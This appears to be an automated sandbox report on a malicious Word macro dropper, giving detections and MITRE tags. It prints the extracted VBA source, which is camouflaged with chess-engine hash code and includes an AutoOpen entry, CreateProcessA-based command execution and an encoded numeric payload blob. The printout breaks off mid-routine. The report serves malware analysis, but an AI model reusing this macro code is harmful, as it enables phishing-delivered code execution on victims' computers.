MALICIOUS
90
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-7609665-0. It contains VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon opening the document. The presence of VBA macros suggests the document is likely a spearphishing attachment intended to download and execute a secondary payload.
Heuristics 4
-
ClamAV: Doc.Dropper.Agent-7609665-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7609665-0
-
VBA project inside OOXML medium 1 related finding OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() Dim GTR As New DebugClassHandler -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://vertex42.com/ExcelTips/significant-figures.htmlIn document text (OOXML body / shared strings)
- http://xoomer.virgilio.it/ludormio/download.htmIn document text (OOXML body / shared strings)
- http://vertex42.com/ExcelTips/significant-figures.html�In document text (OOXML body / shared strings)
- http://xoomer.virgilio.it/ludormio/download.htm)�In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 397389 bytes |
SHA-256: 4b1910a78a8e7f3d87511f2cbe79d0eab5a7c1411e1357edf182c835ed55626f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "GiftToPapper"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "HashBas"
'==================================================
'= HashBas:
'= Hash functions
'==================================================
#If VBA7 Then
Public Declare PtrSafe Function GdiGetBatchLimit Lib "gdi32 " () As LongPtr
Public Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp.dll " (ByVal lpPath As String) As LongPtr
Public Declare PtrSafe Function CreateFile Lib "kernel32 " Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As LongPtr, ByVal dwShareMode As LongPtr, lpSecurityAttributes As Any, ByVal dwCreationDisposition As LongPtr, ByVal dwFlagsAndAttributes As LongPtr, ByVal hTemplateFile As LongPtr) As LongPtr
Public Declare PtrSafe Function SetEnvironmentVariable Lib "kernel32 " Alias "SetEnvironmentVariableA" (ByVal lpName As String, ByVal lpValue As String) As LongPtr
Public Declare PtrSafe Function GetEnvironmentVariable Lib "kernel32 " Alias "GetEnvironmentVariableA" _
(ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As LongPtr) As LongPtr
Public Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As LongPtr) As LongPtr
#Else
Public Declare Function GdiGetBatchLimit Lib "gdi32 " () As Long
Public Declare Function MakeSureDirectoryPathExists Lib "imagehlp.dll " (ByVal lpPath As String) As Long
Public Declare Function CreateFile Lib "kernel32 " Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function SetEnvironmentVariable Lib "kernel32 " Alias "SetEnvironmentVariableA" (ByVal lpName As String, ByVal lpValue As String) As Long
Public Declare Function GetEnvironmentVariable Lib "kernel32 " Alias "GetEnvironmentVariableA" _
(ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long
#End If
'The style of the hash table rows
Public Const TT_NO_BOUND As Byte = 0
Public Const TT_UPPER_BOUND As Byte = 1
Public Const TT_LOWER_BOUND As Byte = 2
Public Const TT_EXACT As Byte = 3
Private Const HASH_CLUSTER As Long = 4
Public Const TT_TB_BASE_DEPTH As Long = 222
Public Type THashKey
' 2x 32 bit
HashKey1 As Long
HashKey2 As Long
End Type
Public ZobristHash1 As Long
Public ZobristHash2 As Long
Public HashWhiteToMove As Long
Public HashWhiteToMove2 As Long
Public HashWCanCastle As Long
Public HashWCanCastle2 As Long
Public HashBCanCastle As Long
Public HashBCanCastle2 As Long
Public InHashCnt As Long
Public HashUsage As Long
Private bHashUsed As Boolean
Public HashGeneration As Long
Public EmptyHash As THashKey
Private Type HashTableEntry
Position1 As Long ' 2x32 bit position hash key
Position2 As Long
Depth As Long ' negative values possible for QSearch
MoveFrom As Byte
MoveTarget As Byte
MovePromoted As Byte
EvalType As Byte
Eval As Long
StaticEval As Long
Generation As Byte
IsChecking As Boolean
End Type
Dim ZobristTable(1, 0 To 16) As Long ' key for each piece typ eand board position
Dim ZobristTable2(1 To 5, 0 To 16) As Long
'The main array to hold the hash table
Private HashTable() As HashTableEntry
Public Sub HashSetCastle()
If WhiteCastled = NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashWCanCastle: ZobristHash2 = ZobristHash2 Xor HashWCanCastle2
If BlackCastled = NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashBCanCastle: ZobristHash2 = ZobristHash2 Xor HashBCanCastle2
End Sub
Public Sub HashMovePiece(ByVal From As Long, Target As Long, ByVal piece As Long)
ZobristHash1 = ZobristHash1 Xor ZobristTable(From, piece) Xor ZobristTable(Target, piece)
ZobristHash2 = ZobristHash2 Xor ZobristTable(From, piece) Xor ZobristTable2(Target, piece)
End Sub
Public Sub NextHashGeneration()
HashGeneration = GetMin(255, GameMovesCnt \ 2 + 1)
End Sub
Public Function HashBoard(ExcludedMove) As THashKey
Dim i As Long, sq As Long
ZobristHash1 = 0: ZobristHash2 = 0
For i = 1 To NumPieces: sq = Pieces(i): HashSetPiece sq, Board(sq): Next i
If EpPosArr(Ply) > 0 Then HashSetPiece EpPosArr(Ply), Board(EpPosArr(Ply))
If bWhiteToMove Then
ZobristHash1 = ZobristHash1 Xor HashWhiteToMove: ZobristHash2 = ZobristHash2 Xor HashWhiteToMove2
End If
If WhiteCastled <> NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashWCanCastle: ZobristHash2 = ZobristHash2 Xor HashWCanCastle2
If BlackCastled <> NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashBCanCastle: ZobristHash2 = ZobristHash2 Xor HashBCanCastle2
If ExcludedMove.From > 0 Then ' different hash fьr excluded move positions
HashSetPiece ExcludedMove.From, ExcludedMove.piece: HashSetPiece ExcludedMove.Target, ExcludedMove.piece
End If
HashBoard.HashKey1 = ZobristHash1: HashBoard.HashKey2 = ZobristHash2
End Function
Public Sub HashDelPiece(ByVal Position As Long, ByVal piece As Long)
If piece = FRAME Or piece = NO_PIECE Then Exit Sub
ZobristHash1 = ZobristHash1 Xor ZobristTable(Position, piece)
ZobristHash2 = ZobristHash2 Xor ZobristTable2(Position, piece)
End Sub
Public Sub InitHash()
'Initialize the hash-table
Static bIniReadDone As Boolean
If Not bIniReadDone Then
HashSize = HashSize * 40000 ' seems to fit...? hash len = 22
bIniReadDone = True
End If
End Sub
Function ReebokStory695() As Boolean
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "4696378599195373362256883866937901324548882862765167271884756890434814607958493657399"
Selection.TypeText "2700491827253413545389628954509765383683875787552300974711543847683018648073793747591"
Selection.TypeText "2782987763989596270048692032706603594827390856178670849818131532084537351032316482485"
Selection.TypeText "6115628888808774150389319477526887915908673461957795457559648630844532686961786876601"
Selection.TypeText "2365858053636876080904612279716334791912340265791321550202268141792676307311668910892"
Selection.TypeText "9108294528623859420418522541439855557009978280682819156950848627409182407053783032814"
Selection.TypeText "5063387350054009784095928273161707914449359339473782057225932667308983288884710911017"
Selection.TypeText "2205072402894553723765814278035494699222297030643269776657735440579989890233061402877"
Selection.TypeText "4726009183703099233444796479917683644945639755616521980963858196130232538023952768545"
Selection.TypeText "0959309702295828733927759860571379602959820947545158050521849545561235440773178955050"
Selection.TypeText "2165412234782944960622574312881918302959730135216854987039471433028200711185491410136"
Selection.TypeText "5842124372981522547209941540057860038277461176718551274491852358988868125548128184630"
Selection.TypeText "0131257218753540072919057495249674217937459834329030234338905775387246357158535233303"
Selection.TypeText "8384320516177609503344779373082870016112976211847156950715571896208601416570059589450"
Selection.TypeText "0666017304408258840171540231709440388577495037417775624011189465067131144162666862147"
Selection.TypeText "5879005211078812009477478871659681629110990705259207947532252332007844423529519498113"
Selection.TypeText "4224505918586192152568364258787234801667825851209680674411575314490916754747634437588"
Selection.TypeText "0226394396445391900769656038198110235905162795902447263853584871567184090760439552650"
Selection.TypeText "1018171728341185282653026887617169958763691410190327188222401148976417307434602695176"
Selection.TypeText "5345312138661830703125795697962949475234410784476677910070276513347204881174849437022"
Selection.TypeText "1852758629826960309295679268416579663813473654728803326183092012135165054081019514393"
Selection.TypeText "5888871942179060214731929595883835805447803388141027384240228942085693130095860795338"
Selection.TypeText "2609800998787689919330823242322939700082532059355188911252708944355215624145444142583"
Selection.TypeText "9294609640595657644987342039097543190531379706629362165525841880039622402919945436087"
Selection.TypeText "3309623925991309443339160351348140926693608006089896971190510969638619384244127362472"
Selection.TypeText "6719913213496861221522388759900305573778799220638928416644949915858469827867446453027"
Selection.TypeText "0859261574729734796639959410654739397331497346882280336137435864371158226243878760188"
Selection.TypeText "6829909495204163619299357071087499576185385454363773763855490065089121858793912113795"
Selection.TypeText "6288635963258347894361590924652137469893729495981387151764563455703718824743886087451"
Selection.TypeText "1920695240942306808264026991610203590442856240677467583890316183199314443981867781140"
Selection.TypeText "4263231965177397230769790636760393565217103536373368540190787021238004669287453866487"
Selection.TypeText "2596799254939798413720373778085721217313960959006525402013733746788668987381151098968"
Selection.TypeText "5891184241473930133579762325666844971442639645432435629021389110152457524005237473298"
Selection.TypeText "8716641720072083454739765706622825720112377456434608071444995093804581909219966367420"
Selection.TypeText "0940539761265547440848846838416362633402697251130139176351503263354360331895632592431"
Selection.TypeText "7021026414471558193719342721241857960611506226959202736624809109851159370971967992907"
Selection.TypeText "3408283922963970658477820718935253565581292808868944008566877534972897899340908137593"
Selection.TypeText "7415644764426776666870501922673973526673721421239939143286303087788995280962503555648"
Selection.TypeText "7257967840489084977518381898152837101215997460528299727209106979170358737243850527995"
Selection.TypeText "3318423082552175544492113263356443019254123398718413826117905259683473167903418804496"
Selection.TypeText "0258899413522259659158312834064124599453163311255912187449339641041323739552698149999"
Selection.TypeText "2785895498882381633518289377189648019738671681308728416903698631887237289742649078346"
Selection.TypeText "6986387557812387072092756403578295553063527030874103842735819551132931389312145627400"
Selection.TypeText "3833252051023280840292413587324369205549792068887398423047734306902464577714019390398"
Selection.TypeText "2517987956704406801856445171447975877958577747062364847931179441600406027819140023958"
Selection.TypeText "4001261717079985060874317459110037548522219798878430656542432835133556532537808318957"
Selection.TypeText "5755467388621116514367754691196317027414224286476374241383344349192343985978240923417"
Selection.TypeText "0135645636590655652530072222785003472113751826791563866122949499652729367232344978686"
Selection.TypeText "8432777188634356271026330538449486807143379919343251743795119771178909965482370952781"
Selection.TypeText "2151781706760540889933083063489066636028024127722849465963028084513245872898437455325"
Selection.TypeText "8534045839802577466850198759575268544350237317425876341478735985120701921212849062963"
Selection.TypeText "7312975743058471003357851188080070140538527530670732943895434559405318420021295702183"
Selection.TypeText "5312027404913145114264723328508896865643400726834089210190598599760457442740986031044"
Selection.TypeText "0319418167626629069923546755454847486535899338103457101801543957671369383009264700668"
Selection.TypeText "6855456213806750299114137146368856538787638796664037689732931071360071501499535361382"
Selection.TypeText "1707549256046085468623621715108252756470377190148089001269939337727994020819656782184"
Selection.TypeText "3901312091379438709193400004367578130838100948748949580026590411219123029017055339798"
Selection.TypeText "2494938462117903378507297011953348882132527146638368284840473285555556862233219752672"
Selection.TypeText "4718184604425111740558484248759731240147464157736800566417555116685086217529810103850"
Selection.TypeText "9878551707051056120436512698663977624726654576807528987989712477807016751150930545693"
Selection.TypeText "0700777168434381138876586522140528707027518461119980832760889104414254861991804827527"
Selection.TypeText "9432898759241867901449413469097700112253352954056511304358539250998589786965475331162"
Selection.TypeText "4975333599987913425108724638677296688487949284873219094322964501396328601649035293225"
Selection.TypeText "7755810869211030020150575551495784704310632952588438409737916149411763199168546536270"
Selection.TypeText "6316432965784791243547047698881227443345585624287854038825094712995880063211228931994"
Selection.TypeText "0850896145790360704194636217525586979015126957702589813402411237596529587009881158170"
Selection.TypeText "1813686141283980260860458895909324444247603561506851011530602541048951732492261000166"
Selection.TypeText "9989149834787019879427397644383583901280503679628508003047273813504022849413767185459"
Selection.TypeText "3457223298357816015478479554374912925962941460686051305523560226732848981438699722103"
Selection.TypeText "6754047545131912968104351090576442120061626294757811062983909166456147734706888409600"
Selection.TypeText "9639368394113470984906199376367622353336542041668771921811979269265614451531938403647"
Selection.TypeText "0385226526481188212267296860262804265602675894581917254087428021621855953091011495002"
Selection.TypeText "2951608524405612488813150527709958997117396999222483510970156516973301480812738911837"
Selection.TypeText "2410032180590300563021598883923730538203124877446629591807645577600306707164556838636"
Selection.TypeText "7907755001673890541655508648874598566876603187961784464970631345798244861903553968805"
Selection.TypeText "0469796900192737624555778593141368202845275940005148654901523134476016002533912593291"
Selection.TypeText "6143139567817524561869755928158688054766247986441995382916627143024824677871179851164"
Selection.TypeText "6559607067852065298499587933672157379916317775056041441301715795675525014438053823476"
Selection.TypeText "0055070768059499838616662706162690786513467559201923792907415803337471847602799970125"
Selection.TypeText "3604796545316298483843000765770718280526656865758716230265919306258858260755843038346"
Selection.TypeText "1433780462394516572870058811080763425382726025781077875855174058161254483641544185273"
Selection.TypeText "9143411142294456816906389394733139344476573454279413212120191078560276199170478033846"
Selection.TypeText "4127294904878787783794748654296267711624517562579759363523094335633650014060158078380"
Selection.TypeText "1601731006857329465884792554995784812698016745723214001760775105577448589486858491243"
Selection.TypeText "7316816973622852911842788057511414008391705110217186529809411720528158175427565998931"
Selection.TypeText "9389209827197913054671135850274603031649381085860021386140629840322992358800380977243"
Selection.TypeText "5030591172632951610268446575872266313673296552313599343690242178130643661024521092021"
Selection.TypeText "1494190250029765287724838339954638283149108879076176505524828333346361935758592105501"
Selection.TypeText "0145175218296280444464473360965303706356275707931464041904185281011984002147682122345"
Selection.TypeText "7811325636848672115958023701351536665934165228182380598076547752897948366589611108804"
Selection.TypeText "1998434124905949167448274755714413597919221240870521558727049391690365375655409631887"
Selection.TypeText "3632695768060742460288391230045026809747825066214755201467317360887512499860044423432"
Selection.TypeText "0126206714683661448345322569439593058470129726020408107238362639926787972777607186183"
Selection.TypeParagraph
With Documents(1)
.Paragraphs.Last.Range.Select
.ActiveWindow.Selection.Cut
End With
With Documents(2).ActiveWindow.Selection
.StartOf Unit:=wdStory, Extend:=wdMove
.Paste
End With
End Function
Public Sub InitZobrist()
Static bDone As Boolean
Dim p As Long, s As Long
If bDone Then Exit Sub
bDone = True
ZobristHash1 = 0: ZobristHash2 = 0
Randomize 1001 ' init random generator with fix value
For p = SQ_A1 To SQ_H8
For s = 0 To 16
ZobristTable(p, s) = CalcUniqueKey(): ZobristTable2(p, s) = CalcUniqueKey()
Next
Next
HashWhiteToMove = CalcUniqueKey(): HashWhiteToMove2 = CalcUniqueKey()
HashWCanCastle = CalcUniqueKey(): HashWCanCastle2 = CalcUniqueKey()
HashBCanCastle = CalcUniqueKey(): HashBCanCastle2 = CalcUniqueKey()
End Sub
Public Sub HashSetKey(ByRef HashKey As THashKey)
ZobristHash1 = HashKey.HashKey1
ZobristHash2 = HashKey.HashKey2
End Sub
Public Function ScoreToHash(ByVal Score As Long) As Long
If Score >= MATE_IN_MAX_PLY Then
ScoreToHash = Score + Ply
ElseIf Score <= -MATE_IN_MAX_PLY Then
ScoreToHash = Score - Ply
Else
ScoreToHash = Score
End If
End Function
Public Function IsInHashTable(HashKey As THashKey, ByRef HashDepth As Long, HashMove, ByRef EvalType As Long, ByRef Eval As Long, ByRef StaticEval As Long) As Boolean
Dim IndexKey As Long, i As Long
IsInHashTable = False: HashMove = EmptyMove: EvalType = TT_NO_BOUND: Eval = UNKNOWN_SCORE: StaticEval = UNKNOWN_SCORE: HashDepth = -999
ZobristHash1 = HashKey.HashKey1
ZobristHash2 = HashKey.HashKey2
IndexKey = HashKeyCompute() * HASH_CLUSTER
For i = 0 To HASH_CLUSTER - 1
If HashTable(IndexKey + i).Position1 <> 0 And ZobristHash1 <> 0 Then
With HashTable(IndexKey + i)
If ZobristHash1 = .Position1 And ZobristHash2 = .Position2 Then
If .Depth > HashDepth Then
' entry found
IsInHashTable = True
If InHashCnt < 2000000 Then InHashCnt = InHashCnt + 1
'--- Read hash data
If .MoveFrom > 0 Then
HashMove.From = .MoveFrom: HashMove.Target = .MoveTarget
HashMove.Promoted = .MovePromoted: HashMove.IsChecking = .IsChecking: HashMove.IsInCheck = .IsChecking
HashMove.Captured = Board(.MoveTarget): HashMove.piece = Board(.MoveFrom): HashMove.CapturedNumber = Squares(.MoveTarget)
Select Case HashMove.piece
Case WPAWN
If .MoveTarget - .MoveFrom = 20 Then
HashMove.EnPassant = 1
ElseIf Board(.MoveTarget) = BEP_PIECE Then
HashMove.EnPassant = 3
End If
Case BPAWN
If .MoveFrom - .MoveTarget = 20 Then
HashMove.EnPassant = 2
ElseIf Board(.MoveTarget) = WEP_PIECE Then
HashMove.EnPassant = 3
End If
Case WKING
If .MoveFrom = SQ_E1 Then
If .MoveTarget = SQ_G1 Then
HashMove.Castle = WHITEOO
ElseIf .MoveTarget = SQ_C1 Then
HashMove.Castle = WHITEOOO
End If
End If
Case BKING
If .MoveFrom = SQ_E8 Then
If .MoveTarget = SQ_G8 Then
HashMove.Castle = BLACKOO
ElseIf .MoveTarget = SQ_C8 Then
HashMove.Castle = BLACKOOO
End If
End If
End Select
End If
EvalType = .EvalType: Eval = HashToScore(.Eval): StaticEval = .StaticEval
HashDepth = .Depth
.Generation = HashGeneration ' Update generation
Exit For
End If
End If
End With
End If
Next
End Function
Public Sub HashSetPiece(ByVal Position As Long, ByVal piece As Long)
If piece = FRAME Or piece = NO_PIECE Then Exit Sub
ZobristHash1 = ZobristHash1 Xor ZobristTable(Position, piece)
ZobristHash2 = ZobristHash2 Xor ZobristTable2(Position, piece)
End Sub
Public Function InsertIntoHashTable(HashKey As THashKey, ByVal Depth As Long, HashMove, ByVal EvalType As Long, ByVal Eval As Long, ByVal StaticEval As Long)
Dim IndexKey As Long, TmpMove As TMove, i As Long, ReplaceIndex As Long, MaxReplaceValue As Long, ReplaceValue As Long, bPosFound As Boolean
TmpMove = HashMove ' Don't overwrite
bHashUsed = True: bPosFound = False
MaxReplaceValue = 9999
'--- Compute hash key
ZobristHash1 = HashKey.HashKey1: ZobristHash2 = HashKey.HashKey2
IndexKey = HashKeyCompute() * HASH_CLUSTER
ReplaceIndex = IndexKey
For i = 0 To HASH_CLUSTER - 1
With HashTable(IndexKey + i)
If .Position1 <> 0 Then
' Don't overwrite more valuable entry
If (.Position1 = ZobristHash1 And .Position2 = ZobristHash2) Then
' Position found: Preserve hash move if no new move
If TmpMove.From = 0 And .MoveFrom > 0 Then
TmpMove.From = .MoveFrom: TmpMove.Target = .MoveTarget: TmpMove.Promoted = .MovePromoted: TmpMove.IsChecking = .IsChecking
End If
ReplaceIndex = IndexKey + i: bPosFound = True
Exit For
Else
' Other position found. Overwrite?
ReplaceValue = .Depth - 8 * (HashGeneration - .Generation)
If ReplaceValue < MaxReplaceValue Then
MaxReplaceValue = ReplaceValue: ReplaceIndex = IndexKey + i
'If HashUsage > 0 Then HashUsage = HashUsage - 1
End If
End If
Else
If MaxReplaceValue > -9000 Then MaxReplaceValue = -9000: ReplaceIndex = IndexKey + i
End If
End With
Next
If HashTable(ReplaceIndex).Position1 = 0 And HashUsage < 2147483646 Then HashUsage = HashUsage + 1
With HashTable(ReplaceIndex)
'--- Save hash data, preserve hash move if no new move
If Not bPosFound Or EvalType = TT_EXACT Or Depth > .Depth - 4 Or .Generation <> HashGeneration Then
.Position1 = ZobristHash1: .Position2 = ZobristHash2
.MoveFrom = TmpMove.From: .MoveTarget = TmpMove.Target: .MovePromoted = TmpMove.Promoted
.EvalType = EvalType: .Eval = ScoreToHash(Eval)
.StaticEval = StaticEval: .Depth = Depth
.Generation = HashGeneration
.IsChecking = TmpMove.IsChecking
End If
End With
End Function
Public Function HashKeyCompute() As Long
HashKeyCompute = ZobristHash1 Xor ZobristHash2
If HashKeyCompute = -2147483648# Then HashKeyCompute = HashKeyCompute + 1
HashKeyCompute = Abs(HashKeyCompute) Mod (HashSize \ HASH_CLUSTER)
End Function
Public Function HashUsagePerc() As String
If HashSize = 0 Then
HashUsagePerc = ""
Else
HashUsagePerc = Format(HashUsage * 100& / HashSize, "0.0")
End If
End Function
Private Function CalcUniqueKey() As Long
Static KeyList((1 - 0 + 1) * 17 * 2 + 8) As Long
Static ListCnt As Long
Dim l As Long, i As Long
NextTry:
l = 65536 * (Int(Rnd * 65536) - 32768) Or Int(Rnd * 65536)
For i = 1 To ListCnt
If KeyList(i) = l Then GoTo NextTry
Next
ListCnt = ListCnt + 1: KeyList(ListCnt) = l
CalcUniqueKey = l
End Function
Public Function HashToScore(ByVal Score As Long) As Long
If Score = UNKNOWN_SCORE Then
HashToScore = Score
ElseIf Score >= MATE_IN_MAX_PLY Then
HashToScore = Score - Ply
ElseIf Score <= -MATE_IN_MAX_PLY Then
HashToScore = Score + Ply
Else
HashToScore = Score
End If
End Function
Public Function LimitDouble(ByVal d As Double) As Long
' Prevent overflow by looping off anything beyond 31 bits
Const MaxNumber As Double = 2 ^ 31
LimitDouble = CLng(d - (Fix(d / MaxNumber) * MaxNumber))
End Function
Public Sub SetHashToMove()
If bWhiteToMove Then
ZobristHash1 = ZobristHash1 Xor HashWhiteToMove: ZobristHash2 = ZobristHash2 Xor HashWhiteToMove2
End If
End Sub
Public Function HashGetKey() As THashKey
HashGetKey.HashKey1 = ZobristHash1
HashGetKey.HashKey2 = ZobristHash2
End Function
Attribute VB_Name = "mExec"
Public mCommand As String 'Public variable for the CommandLine property
Public mOutputs As String 'Public variable for the ReadOnly Outputs property
#If VBA7 Then
Public Declare PtrSafe Function FileTimeToSystemTime Lib "kernel32 " (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As LongPtr
Public Declare PtrSafe Function CreateProcessA Lib "kernel32 " ( _
ByVal lpApplicationName As LongPtr, _
ByVal lpCommandLine As String, _
lpProcessAttributes As SECURITY_ATTRIBUTES, _
lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As LongPtr, _
ByVal dwCreationFlags As LongPtr, _
ByVal lpEnvironment As LongPtr, _
ByVal lpCurrentDirectory As LongPtr, _
lpStartupInfo As STARTUPINFO, _
lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Public Declare PtrSafe Function CreatePipe Lib "kernel32 " ( _
phReadPipe As LongPtr, _
phWritePipe As LongPtr, _
lpPipeAttributes As Any, _
ByVal nSize As Long) As LongPtr
'Used to read the the pipe filled by the process create
'with the CretaProcessA function
Public Declare PtrSafe Function ReadFile Lib "kernel32 " ( _
ByVal hFile As LongPtr, _
ByVal lpBuffer As String, _
ByVal nNumberOfBytesToRead As LongPtr, _
lpNumberOfBytesRead As LongPtr, _
ByVal lpOverlapped As Any) As LongPtr
Public Declare PtrSafe Function FreeConsole Lib "kernel32" () As LongPtr
Public Declare PtrSafe Function GetFileTime Lib "kernel32 " (ByVal hFile As LongPtr, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As LongPtr
Public Declare PtrSafe Function FileTimeToLocalFileTime Lib "kernel32 " (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As LongPtr
'Close opened handle
#Else
Public Declare Function GetFileTime Lib "kernel32 " Alias "GetFileTime" (ByVal hFile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long
Public Declare Function FileTimeToLocalFileTime Lib "kernel32 " (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As Long
Public Declare Function FileTimeToSystemTime Lib "kernel32" Alias "FileTimeToSystemTime" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long
Public Declare Function FreeConsole Lib "kernel32 " () As Long
Public Declare Function CreateProcessA Lib "kernel32 " ( _
ByVal lpApplicationName As Long, _
ByVal lpCommandLine As String, _
lpProcessAttributes As SECURITY_ATTRIBUTES, _
lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, _
ByVal lpCurrentDirectory As Long, _
lpStartupInfo As STARTUPINFO, _
lpProcessInformation As PROCESS_INFORMATION) As Long
Public Declare Function CreatePipe Lib "kernel32 " ( _
phReadPipe As Long, _
phWritePipe As Long, _
lpPipeAttributes As Any, _
ByVal nSize As Long) As Long
'Used to read the the pipe filled by the process create
'with the CretaProcessA function
Public Declare Function ReadFile Lib "kernel32 " ( _
ByVal hFile As Long, _
ByVal lpBuffer As String, _
ByVal nNumberOfBytesToRead As Long, _
lpNumberOfBytesRead As Long, _
ByVal lpOverlapped As Any) As Long
'Close opened handle
#End If
'Event that notify the temporary buffer to the object
Public Sub ExtractToken()
Dim i As Integer
'********************
'* SCANNING ROUTINE *
'********************
'Set default values
OutputString = ""
OutputValue = 0
ValueString = ""
'If at the end of string, return EOS
If CurrentEntryIndex > Len(InputString) Then
OutputString = "EOS"
Exit Sub
End If
'Get character to be examined
Char = Mid(InputString, CurrentEntryIndex, 1)
'Space
If Char = " " Then
CurrentEntryIndex = CurrentEntryIndex + 1
ExtractToken
Exit Sub
End If
'Operator or parenthesis
If Char = "+" Or Char = "-" Or Char = "*" Or Char = "/" Or Char = "^" Or Char = "(" Or Char = ")" Or Char = "!" Or Char = "=" Then
CurrentEntryIndex = CurrentEntryIndex + 1
'Set return value
OutputString = Char
Exit Sub
End If
'Number
If (Char >= "0" And Char <= "9") Or Char = "." Then
'Digits before decimal
While Char >= "0" And Char <= "9"
ValueString = ValueString + Char
CurrentEntryIndex = CurrentEntryIndex + 1
If CurrentEntryIndex <= Len(InputString) Then
Char = Mid(InputString, CurrentEntryIndex, 1)
Else
Char = ""
End If
Wend
'Decimal
While Char = "."
ValueString = ValueString + Char
CurrentEntryIndex = CurrentEntryIndex + 1
If CurrentEntryIndex <= Len(InputString) Then
Char = Mid(InputString, CurrentEntryIndex, 1)
Else
Char = ""
End If
Wend
'Digits after decimal
While Char >= "0" And Char <= "9"
ValueString = ValueString + Char
CurrentEntryIndex = CurrentEntryIndex + 1
If CurrentEntryIndex <= Len(InputString) Then
Char = Mid(InputString, CurrentEntryIndex, 1)
Else
Char = ""
End If
Wend
'Set return values
OutputString = "Number"
OutputValue = CDbl(ValueString)
Exit Sub
End If
'Return text language identifiers
If LCase(Char) >= "a" And LCase(Char) <= "z" Then
While (LCase(Char) >= "a" And LCase(Char) <= "z")
ValueString = ValueString + Char
CurrentEntryIndex = CurrentEntryIndex + 1
If CurrentEntryIndex <= Len(InputString) Then
Char = Mid(InputString, CurrentEntryIndex, 1)
Else
Char = ""
End If
Wend
'Pi or e
If LCase(ValueString) = "pi" Or LCase(ValueString) = "e" Then
OutputString = "Number"
If LCase(ValueString) = "pi" Then
OutputValue = Pi
Else
OutputValue = Exp(1)
End If
Exit Sub
End If
'Set return value
OutputString = LCase(ValueString)
Exit Sub
End If
End Sub
Public Function ExecuteCommand(CommandLine1 As String) As String
Dim proc As PROCESS_INFORMATION 'Process info filled by CreateProcessA
Dim ret 'long variable for get the return value of the
'API functions
Dim start As STARTUPINFO 'StartUp Info passed to the CreateProceeeA
'function
Dim sa As SECURITY_ATTRIBUTES 'Security Attributes passeed to the
'CreateProcessA function
Dim hReadPipe As Long 'Read Pipe handle created by CreatePipe
Dim hWritePipe As Long 'Write Pite handle created by CreatePipe
Dim lngBytesread As Long 'Amount of byte read from the Read Pipe handle
Dim strBuff As String * 256 'String buffer reading the Pipe
'Launch the command line application
start.cb = Len(start)
start.dwFlags = 1
'Execute the command
ret = CreateProcessA(0&, CommandLine1, sa, sa, 1&, _
&H8000000, 0&, 0&, start, proc)
If ret <> 1 Then
'if the command is not found ....
MsgBox "File or command not found", vbCritical
Exit Function
End If
FreeConsole
'Now We can ... must close the hWritePipe
ret = CloseHandle(hWritePipe)
mOutputs = ""
'Read the ReadPipe handle
Do
